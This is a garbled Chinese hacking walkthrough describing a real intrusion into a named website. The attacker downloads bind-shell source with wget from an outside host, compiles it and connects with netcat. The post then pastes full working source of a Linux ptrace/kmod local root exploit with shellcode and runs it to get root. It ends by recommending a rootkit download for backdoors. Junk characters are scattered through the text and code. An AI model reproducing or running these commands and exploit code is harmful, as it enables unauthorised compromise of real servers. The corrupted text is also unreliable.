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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
* C9 F/ s4 s" a9 Q3 s就可以用wget这个命令来下载了,输入 % K( e6 f- o' `3 Z
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思7 _+ ?: `( \$ C3 |8 }3 x3 S, q; r
就是下载这个shell.c到/tmp目录下,如图6
% X7 H% P( l( Z; S ~ A0 l6 ^然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain* {( K: } H3 G% B
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs. k, Z" \" |1 p9 f+ W% D0 |
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天! f* n+ H. i( W9 U; i- V! o! _
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果6 X6 S+ {7 L$ M. t# u3 i% j8 a
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
7 G/ Y6 d8 d& D5 x( _3 r1 }12gcc: /usr/bin/gcc
/ b1 L; P8 W& ^0 k! n6 p4 Q! ]8 H好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
5 P* ?. Y |9 s# c4 p& s* H编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,4 |) g" I, u2 }
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我" p! W$ ] q) Y& m- t& \: O" v+ o
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
0 S, o5 T: r k5 T# v哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
% k1 `* n, }; F: s! F2 S6 ~( M呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因," ^9 y8 U0 r4 b" M8 q% X
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
# o* w0 M' M' h(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
" j8 D( L+ R) C# v# q7 h3 i: i; U* Linux kernel ptrace/kmod local root exploit. j' E0 \ {7 |8 W8 v7 ^6 z
*
. F) q+ T+ [3 P* This code exploits a race condition in kernel/kmod.c, which creates
/ B1 z O/ U$ g; d* kernel thread in insecure manner. This bug allows to ptrace cloned- j& _0 h% q H
* process, allowing to take control over privileged modprobe binary.
" S7 a+ a' x8 b: k*
5 H/ `. K% e( m, Q8 h* Should work under all current 2.2.x and 2.4.x kernels.( H2 f1 M6 |& G9 o- b' @9 _9 q- g
* " N; I3 Z- i0 c3 Y7 `
* I discovered this stupid bug independently on January 25, 2003, that 7 q1 c- q$ Y9 B& Y
* is (almost) two month before it was fixed and published by Red Hat
/ d. O0 c+ O6 Z+ m5 R4 Q* and others.
# l$ ^# ~$ j D*
* Y2 Z% Q. {; A* Wojciech Purczynski <cliph@isec.pl>
0 C# h" j; U7 b; _1 W9 M6 ?*! ~) J/ Q' i+ ~+ S. { G8 y H6 }
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*: N! j, Z- I4 C" B& P& w+ N
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY4 V& ^9 y% M2 T) ]3 I/ h/ f- S" ~2 W
*
. w j* c" H* K* (c) 2003 Copyright by iSEC Security Research
3 f; D2 N2 N4 j( s" {*/ #include
# ~, T$ q6 Z$ L% C; q* L) ?! f#include
3 V' c/ f6 X1 `) H/ q. Q/ G9 v#include ! o) x, ^( p' o& d( n1 E7 p
#include
+ }, A% F( Z0 v7 K#include / i( e# z% T7 W- |; E" A; b' R; Q1 e# U
#include $ Y# N! d' \' v7 I
#include
- U4 S2 ^! T$ |6 \. L o" |, r#include
9 ^& [( m6 `' r& s$ A#include
0 [% T$ W8 ?( g0 {, C; d/ L4 q3 m+ k#include ! N+ `- I. ?! f7 x
#include 4 @% K4 N/ J! @9 X, J
#include " ^2 L5 M) T$ P- Q
#include
. Y$ ]) A7 D# E- x- U/ Z#include
; ]& g, A3 t# [$ C+ [) @: `#include
1 k6 J' {4 y) u1 B# q. `- j/ d#include char cliphcode[] =
j# y' I0 L( m"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"( D. `4 i& J# y7 y* N
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
% R& b: Y0 E" T4 o"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"5 j3 ]+ Z; h9 h! ]# _
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"# v! P: T% m* m m6 N" }! ^
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;
; H8 q. [: P1 Wpid_t child = 1;
! A8 ?" C% H' ^+ ^. t" vpid_t victim = 1; s! e( e- h! e$ F
volatile int gotchild = 0; void fatal(char * msg)6 g" ~7 u& D, Y% d1 d6 m; t
{* Y& [1 |+ ~9 Z4 A* z0 M; |: M( B4 ~
perror(msg);
. Z( R# z! J7 o1 ]( Ckill(parent, SIGKILL);3 }/ v9 @- U* E7 T% H( A# P; w
kill(child, SIGKILL);
3 {. K! W$ S) l9 k$ X& ~kill(victim, SIGKILL); |- r# O+ p- V; y; l
} void putcode(unsigned long * dst)* D r. ~8 r7 i+ G ^- j1 T
{' s8 f6 D1 ?1 [ i8 ]
char buf[MAXPATHLEN + CODE_SIZE];: K% {, h: z- j9 x* o
unsigned long * src;5 j5 w0 {) Z1 [- a4 w) I
int i, len; memcpy(buf, cliphcode, CODE_SIZE);/ f' F9 P- p4 B6 F
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
2 r) o' q0 P8 T8 ` i! Rif (len == -1)
& d( ^+ ?- ]: e) L0 U/ o q% hfatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;0 _) U/ B- }/ W* L# w# L b
buf[len] = '\0'; src = (unsigned long*) buf;
% U, b* ]6 m: T" z+ F+ J9 T7 b$ Cfor (i = 0; i < len; i += 4)% j- D) b. Z7 D$ d. ]$ y1 h+ y' E
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)5 n/ E" T t. ]; C; [
fatal("[-] Unable to write shellcode");6 M$ M- h8 k1 l' N. O+ S% G7 [: ?
} void sigchld(int signo)3 N; I4 H+ l1 X+ ]8 V
{1 t7 y5 H' W* n' q7 m" E
struct user_regs_struct regs; if (gotchild++ == 0)6 X! d% h5 o5 c& T+ q& L, ]
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
, R$ d! c$ z( tfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
# E8 y8 Q$ f; y. T( ^7 jfatal("[-] Unable to detach from victim"); exit(0);
, s* F: z0 i% M8 b: Q0 D} void sigalrm(int signo)
7 B/ F$ M+ M, c! m{
2 {. [6 h7 H$ ~3 Q& f1 @errno = ECANCELED;7 O; I+ w9 v9 \- y L& ]
fatal("[-] Fatal error");! I: N+ ~, m3 E6 T* ^7 J/ }9 d, x9 ]
} void do_child(void): r( S4 {3 k1 ~+ P$ B/ F
{
4 \9 t! Y0 t; y% _& }int err; child = getpid();
7 A# q; g) e4 ?. a5 w3 j+ svictim = child + 1; signal(SIGCHLD, sigchld); do4 D9 ?. p9 k8 @ q$ |
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
/ l. a# ^: k/ E- W) l/ ?while (err == -1 && errno == ESRCH); if (err == -1)
+ B8 G* ~" |2 V3 I5 q# ofatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);$ u' G: A! i$ o
while (!gotchild) ;
9 `, i# }( [$ x# p" Uif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)- `' v/ d: @3 {* Q/ q% |. m
fatal("[-] Unable to setup syscall trace");3 i+ @6 S6 o# X$ N4 i$ o
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
3 m5 f" N5 `7 N8 U m4 i6 i} void do_parent(char * progname)$ x$ l9 k) Q$ U0 P5 |; s. _& n
{1 e+ e `; J7 f' z
struct stat st;
: O* G) r! n9 i0 @- [int err;
( K8 J" O5 L9 e# d( Lerrno = 0;/ b' J2 _( t! \ x- X* U# O
socket(AF_SECURITY, SOCK_STREAM, 1);* D/ j. O8 q1 U4 v/ @
do {- T; ~7 K- E6 Z3 a7 g
err = stat(progname, &st);9 k; i$ k4 I+ w. v% U
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)! m: Z; C0 W" f& t3 E- e! X
fatal("[-] Unable to stat myself"); alarm(0);
4 F) Q$ H0 c4 F2 t# {) G- Q& Esystem(progname);
1 s k- ?" v6 O+ V2 s5 a! n} void prepare(void)
2 W6 w$ U' @0 D- R0 \{2 Z3 B4 \; L& I6 i' Y
if (geteuid() == 0) {* {1 u( H2 z! R( n# S$ V; u
initgroups("root", 0);/ g/ C1 {1 Q5 C# c8 l2 P' I
setgid(0);+ |& G: F j+ T4 r* c
setuid(0);, S4 `) x2 [# ]+ R% {* }1 f
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
6 W% Y" `2 V" |) ]& |" [& ]+ s" X8 n* ffatal("[-] Unable to spawn shell");. V4 h% ?* o2 p( v& q* ?5 G
}! a) k! D D6 Q
} int main(int argc, char ** argv); O1 }; L$ u% c3 d, W' i
{
/ h! E7 g3 S3 hprepare();) z' s# H g$ x' V+ |* B" |. ~
signal(SIGALRM, sigalrm);# c7 u, N% Q- G( u* j, l; E5 n! T2 ~
alarm(10); parent = getpid();
. b+ ~8 Z! A$ nchild = fork();' b0 [ V. v( c* a
victim = child + 1; if (child == -1)7 E. @: b- N' p! \
fatal("[-] Unable to fork"); if (child == 0)7 f+ u* W! N2 r% m, O
do_child();
i6 j' f9 R, [: i5 x6 _else* G9 Y0 C" n3 J) {9 [" \$ o
do_parent(argv[0]); return 0;
( w. x, Z& x# ]. C1 c}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |